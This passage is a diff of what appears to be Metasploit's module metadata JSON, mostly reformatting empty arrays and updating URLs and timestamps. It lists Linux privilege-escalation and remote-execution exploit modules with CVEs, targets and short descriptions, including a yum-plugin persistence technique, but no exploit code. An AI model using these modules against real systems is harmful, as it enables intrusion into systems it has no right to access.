"autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86" ], @@ -92468,23 +81489,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/su_login": { "name": "Login to Another User with Su on Linux / Unix Systems", "fullname": "exploit/linux/local/su_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1971-11-03", "type": "exploit", @@ -92492,18 +81508,12 @@ "Gavin Youker " ], "description": "This module attempts to create a new login session by\n invoking the su command of a valid username and password.\n\n If the login is successful, a new session is created via\n the specified payload.\n\n Because su forces passwords to be passed over stdin, this\n module attempts to invoke a psuedo-terminal with python,\n python3, or script.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86", "Linux x86_64" @@ -92532,16 +81542,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/sudo_baron_samedit": { "name": "Sudo Heap-Based Buffer Overflow", "fullname": "exploit/linux/local/sudo_baron_samedit", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-01-26", "type": "exploit", @@ -92565,12 +81571,8 @@ "platform": "Linux,Unix", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)", @@ -92619,16 +81621,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/sudoedit_bypass_priv_esc": { "name": "Sudoedit Extra Arguments Priv Esc", "fullname": "exploit/linux/local/sudoedit_bypass_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-18", "type": "exploit", @@ -92651,12 +81649,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92685,16 +81679,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/systemtap_modprobe_options_priv_esc": { "name": "SystemTap MODPROBE_OPTIONS Privilege Escalation", "fullname": "exploit/linux/local/systemtap_modprobe_options_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-11-17", "type": "exploit", @@ -92710,23 +81700,19 @@ "URL-https://securitytracker.com/id?1024754", "URL-https://access.redhat.com/security/cve/cve-2010-4170", "URL-https://bugzilla.redhat.com/show_bug.cgi?id=653604", - "URL-https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html", + "URL-http://web.archive.org/web/20240609145111/https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html", "URL-https://bugs.launchpad.net/bugs/677226", "URL-https://www.debian.org/security/2011/dsa-2348" ], "platform": "Linux", "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], - "mod_time": "2023-02-02 18:17:02 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/local/systemtap_modprobe_options_priv_esc.rb", "is_install_path": true, "ref_name": "linux/local/systemtap_modprobe_options_priv_esc", @@ -92749,16 +81735,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/tomcat_rhel_based_temp_priv_esc": { "name": "Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation", "fullname": "exploit/linux/local/tomcat_rhel_based_temp_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2016-10-10", "type": "exploit", @@ -92777,12 +81759,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92811,16 +81789,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/tomcat_ubuntu_log_init_priv_esc": { "name": "Apache Tomcat on Ubuntu Log Init Privilege Escalation", "fullname": "exploit/linux/local/tomcat_ubuntu_log_init_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2016-09-30", "type": "exploit", @@ -92838,12 +81812,8 @@ "platform": "Linux", "arch": "x86, x64, python", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92872,16 +81842,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ubuntu_enlightenment_mount_priv_esc": { "name": "Ubuntu Enlightenment Mount Priv Esc", "fullname": "exploit/linux/local/ubuntu_enlightenment_mount_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2022-09-13", "type": "exploit", @@ -92898,12 +81864,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92930,16 +81892,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ubuntu_needrestart_lpe": { "name": "Ubuntu needrestart Privilege Escalation", "fullname": "exploit/linux/local/ubuntu_needrestart_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2024-11-19", "type": "exploit", @@ -92957,12 +81915,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92989,16 +81943,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/udev_netlink": { "name": "Linux udev Netlink Local Privilege Escalation", "fullname": "exploit/linux/local/udev_netlink", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-04-16", "type": "exploit", @@ -93016,12 +81966,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86", "Linux x64" @@ -93033,23 +81979,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ueb_bpserverd_privesc": { "name": "Unitrends Enterprise Backup bpserverd Privilege Escalation", "fullname": "exploit/linux/local/ueb_bpserverd_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-03-14", "type": "exploit", @@ -93069,12 +82010,8 @@ "platform": "Linux", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "UEB <= 10.0" ], @@ -93085,23 +82022,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ufo_privilege_escalation": { "name": "Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation", "fullname": "exploit/linux/local/ufo_privilege_escalation", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-08-10", "type": "exploit", @@ -93126,12 +82058,8 @@ "platform": "Linux", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -93155,16 +82083,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/vcenter_java_wrapper_vmon_priv_esc": { "name": "VMware vCenter vScalation Priv Esc", "fullname": "exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2021-09-21", "type": "exploit", @@ -93181,12 +82105,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -93219,16 +82139,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/vcenter_sudo_lpe": { "name": "vCenter Sudo Privilege Escalation", "fullname": "exploit/linux/local/vcenter_sudo_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2024-06-18", "type": "exploit", @@ -93245,12 +82161,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -93277,16 +82189,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/vmware_alsa_config": { "name": "VMware Workstation ALSA Config File Local Privilege Escalation", "fullname": "exploit/linux/local/vmware_alsa_config", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-22", "type": "exploit", @@ -93307,12 +82215,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86", "Linux x64" @@ -93337,16 +82241,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/vmware_mount": { "name": "VMWare Setuid vmware-mount Unsafe popen(3)", "fullname": "exploit/linux/local/vmware_mount", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-08-22", "type": "exploit", @@ -93360,22 +82260,18 @@ "OSVDB-96588", "BID-61966", "URL-http://blog.cmpxchg8b.com/2013/08/security-debianisms.html", - "URL-https://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html", + "URL-http://web.archive.org/web/20130831060036/http://www.vmware.com:80/support/support-resources/advisories/VMSA-2013-0010.html", "URL-https://www.rapid7.com/blog/post/2013/09/05/cve-2013-1662-vmware-mount-exploit" ], "platform": "Linux", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2022-10-08 09:16:57 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/local/vmware_mount.rb", "is_install_path": true, "ref_name": "linux/local/vmware_mount", @@ -93393,20 +82289,14 @@ "artifacts-on-disk" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/vmware_workspace_one_access_certproxy_lpe": { "name": "VMware Workspace ONE Access CVE-2022-31660", "fullname": "exploit/linux/local/vmware_workspace_one_access_certproxy_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2022-08-02", "type": "exploit", @@ -93421,12 +82311,8 @@ "platform": "Linux,Unix", "arch": "cmd, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -93453,16 +82339,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/vmware_workspace_one_access_cve_2022_22960": { "name": "VMware Workspace ONE Access CVE-2022-22960", "fullname": "exploit/linux/local/vmware_workspace_one_access_cve_2022_22960", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-04-06", "type": "exploit", @@ -93480,12 +82362,8 @@ "platform": "Linux,Unix", "arch": "cmd, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper" @@ -93513,16 +82391,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/vmwgfx_fd_priv_esc": { "name": "vmwgfx Driver File Descriptor Handling Priv Esc", "fullname": "exploit/linux/local/vmwgfx_fd_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-01-28", "type": "exploit", @@ -93539,12 +82413,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -93572,16 +82442,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/yum_package_manager_persistence": { "name": "Yum Package Manager Persistence", "fullname": "exploit/linux/local/yum_package_manager_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2003-12-17", "type": "exploit", @@ -93589,18 +82455,12 @@ "Aaron Ringo" ], "description": "This module will run a payload when the package manager is used. No\n handler is ran automatically so you must configure an appropriate\n exploit/multi/handler to connect. Module modifies a yum plugin to\n launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/\n will show what plugins are currently enabled on the system.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -93611,23 +82471,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/zimbra_postfix_priv_esc": { "name": "Zimbra sudo + postfix privilege escalation", "fullname": "exploit/linux/local/zimbra_postfix_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-10-13", "type": "exploit", @@ -93643,12 +82498,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -93675,16 +82526,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/zimbra_slapper_priv_esc": { "name": "Zimbra zmslapd arbitrary module load", "fullname": "exploit/linux/local/zimbra_slapper_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-10-27", "type": "exploit", @@ -93700,12 +82547,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -93732,16 +82575,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/zpanel_zsudo": { "name": "ZPanel zsudo Local Privilege Escalation Exploit", "fullname": "exploit/linux/local/zpanel_zsudo", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-07", "type": "exploit", @@ -93750,18 +82589,12 @@ "juan vazquez " ], "description": "This module abuses the zsudo binary, installed with zpanel, to escalate\n privileges. In order to work, a session with access to zsudo on the sudoers\n configuration is needed. This module is useful for post exploitation of ZPanel\n vulnerabilities, where typically web server privileges are acquired, and this\n user is allowed to execute zsudo on the sudoers file.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd, x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Command payload", "Linux x86" @@ -93773,23 +82606,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/zyxel_suid_cp_lpe": { "name": "Zyxel Firewall SUID Binary Privilege Escalation", "fullname": "exploit/linux/local/zyxel_suid_cp_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-14", "type": "exploit", @@ -93804,12 +82632,8 @@ "platform": "Linux,Unix", "arch": "cmd, mips64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux Dropper" @@ -93837,16 +82661,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/misc/accellion_fta_mpipe2": { "name": "Accellion FTA MPIPE2 Command Execution", "fullname": "exploit/linux/misc/accellion_fta_mpipe2", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-02-07", "type": "exploit", @@ -93862,12 +82682,8 @@ "platform": "Unix", "arch": "cmd", "rport": 8812, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -93878,17 +82694,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/aerospike_database_udf_cmd_exec": { "name": "Aerospike Database UDF Lua Code Execution", "fullname": "exploit/linux/misc/aerospike_database_udf_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2020-07-31", "type": "exploit", @@ -93909,12 +82722,8 @@ "platform": "Linux,Unix", "arch": "", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command", "Linux (Dropper)" @@ -93944,9 +82753,7 @@ "exploit_linux/misc/asterisk_ami_originate_auth_rce": { "name": "Asterisk AMI Originate Authenticated RCE", "fullname": "exploit/linux/misc/asterisk_ami_originate_auth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2024-08-08", "type": "exploit", @@ -93963,12 +82770,8 @@ "platform": "Unix", "arch": "", "rport": 5038, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix Command" ], @@ -93997,9 +82800,7 @@ "exploit_linux/misc/asus_infosvr_auth_bypass_exec": { "name": "ASUS infosvr Auth Bypass Command Execution", "fullname": "exploit/linux/misc/asus_infosvr_auth_bypass_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-01-04", "type": "exploit", @@ -94017,12 +82818,8 @@ "platform": "Unix", "arch": "cmd", "rport": 9999, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -94033,17 +82830,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/cisco_ios_xe_rce": { "name": "Cisco IOX XE Unauthenticated RCE Chain", "fullname": "exploit/linux/misc/cisco_ios_xe_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-16", "type": "exploit", @@ -94055,7 +82849,7 @@ "CVE-2023-20198", "CVE-2023-20273", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z", - "URL-https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", + "URL-http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/", @@ -94084,7 +82878,7 @@ "Linux Command", "Unix Command" ], - "mod_time": "2024-04-15 11:06:50 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/misc/cisco_ios_xe_rce.rb", "is_install_path": true, "ref_name": "linux/misc/cisco_ios_xe_rce", @@ -94108,9 +82902,7 @@ "exploit_linux/misc/cisco_rv340_sslvpn": { "name": "Cisco RV340 SSL VPN Unauthenticated Remote Code Execution", "fullname": "exploit/linux/misc/cisco_rv340_sslvpn", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2022-02-02", "type": "exploit", @@ -94161,9 +82953,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -94171,9 +82961,7 @@ "exploit_linux/misc/cve_2020_13160_anydesk": { "name": "AnyDesk GUI Format String Write", "fullname": "exploit/linux/misc/cve_2020_13160_anydesk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-06-16", "type": "exploit", @@ -94189,12 +82977,8 @@ "platform": "Linux", "arch": "x64", "rport": 50001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Anydesk 5.5.2 Ubuntu 20.04 x64", "Anydesk 5.5.2 Ubuntu 18.04 x64" @@ -94223,9 +83007,7 @@ "exploit_linux/misc/cve_2021_38647_omigod": { "name": "Microsoft OMI Management Interface Authentication Bypass", "fullname": "exploit/linux/misc/cve_2021_38647_omigod", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-14", "type": "exploit", @@ -94293,9 +83075,7 @@ "exploit_linux/misc/fortimanager_rce_cve_2024_47575": { "name": "Fortinet FortiManager Unauthenticated RCE", "fullname": "exploit/linux/misc/fortimanager_rce_cve_2024_47575", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-10-23", "type": "exploit", @@ -94312,12 +83092,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": 541, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Default" ], @@ -94345,9 +83121,7 @@ "exploit_linux/misc/gld_postfix": { "name": "GLD (Greylisting Daemon) Postfix Buffer Overflow", "fullname": "exploit/linux/misc/gld_postfix", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-04-12", "type": "exploit", @@ -94364,12 +83138,8 @@ "platform": "Linux", "arch": "x86", "rport": 2525, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "RedHat Linux 7.0 (Guinness)" ], @@ -94380,17 +83150,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/hid_discoveryd_command_blink_on_unauth_rce": { "name": "HID discoveryd command_blink_on Unauthenticated RCE", "fullname": "exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-03-28", "type": "exploit", @@ -94411,12 +83178,8 @@ "platform": "Linux", "arch": "armle", "rport": 4070, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -94427,17 +83190,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/hikvision_rtsp_bof": { "name": "Hikvision DVR RTSP Request Remote Code Execution", "fullname": "exploit/linux/misc/hikvision_rtsp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-19", "type": "exploit", @@ -94452,12 +83212,8 @@ "platform": "Linux", "arch": "armle", "rport": 554, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DS-7204 Firmware V2.2.10 build 131009", "Debug Target" @@ -94469,17 +83225,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/hp_data_protector_cmd_exec": { "name": "HP Data Protector 6 EXEC_CMD Remote Code Execution", "fullname": "exploit/linux/misc/hp_data_protector_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-02-07", "type": "exploit", @@ -94500,12 +83253,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Data Protector 6.10/6.11/6.20 on Linux" ], @@ -94516,17 +83265,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/hp_jetdirect_path_traversal": { "name": "HP Jetdirect Path Traversal Arbitrary Code Execution", "fullname": "exploit/linux/misc/hp_jetdirect_path_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-04-05", "type": "exploit", @@ -94543,12 +83289,8 @@ "platform": "", "arch": "", "rport": 9100, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix (In-Memory)" ], @@ -94559,17 +83301,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/hp_nnmi_pmd_bof": { "name": "HP Network Node Manager I PMD Buffer Overflow", "fullname": "exploit/linux/misc/hp_nnmi_pmd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-09", "type": "exploit", @@ -94585,12 +83324,8 @@ "platform": "Unix", "arch": "cmd", "rport": 7426, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "HP NNMi 9.10 / CentOS 5", @@ -94603,17 +83338,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/hp_vsa_login_bof": { "name": "HP StorageWorks P4000 Virtual SAN Appliance Login Buffer Overflow", "fullname": "exploit/linux/misc/hp_vsa_login_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-28", "type": "exploit", @@ -94631,12 +83363,8 @@ "platform": "Linux", "arch": "x86", "rport": 13838, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP VSA 9" ], @@ -94647,17 +83375,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/hplip_hpssd_exec": { "name": "HPLIP hpssd.py From Address Arbitrary Command Execution", "fullname": "exploit/linux/misc/hplip_hpssd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-10-04", "type": "exploit", @@ -94675,12 +83400,8 @@ "platform": "Unix", "arch": "cmd", "rport": 2207, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic (hplip-1.6.7-4.i386.rpm)" ], @@ -94691,17 +83412,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/ib_inet_connect": { "name": "Borland InterBase INET_connect() Buffer Overflow", "fullname": "exploit/linux/misc/ib_inet_connect", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -94719,12 +83437,8 @@ "platform": "Linux", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253" ], @@ -94735,17 +83449,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/ib_jrd8_create_database": { "name": "Borland InterBase jrd8_create_database() Buffer Overflow", "fullname": "exploit/linux/misc/ib_jrd8_create_database", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -94763,12 +83474,8 @@ "platform": "Linux", "arch": "x86", "rport": 3050, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253" ], @@ -94779,17 +83486,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_linux/misc/ib_open_marker_file": { "name": "Borland InterBase open_marker_file() Buffer Overflow", "fullname": "exploit/linux/misc/ib_open_marker_file", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-10-03", "type": "exploit", @@ -94807,12 +83511,8 @@ "platform": "Linux", "arch": "x86", "rport": 3050, - 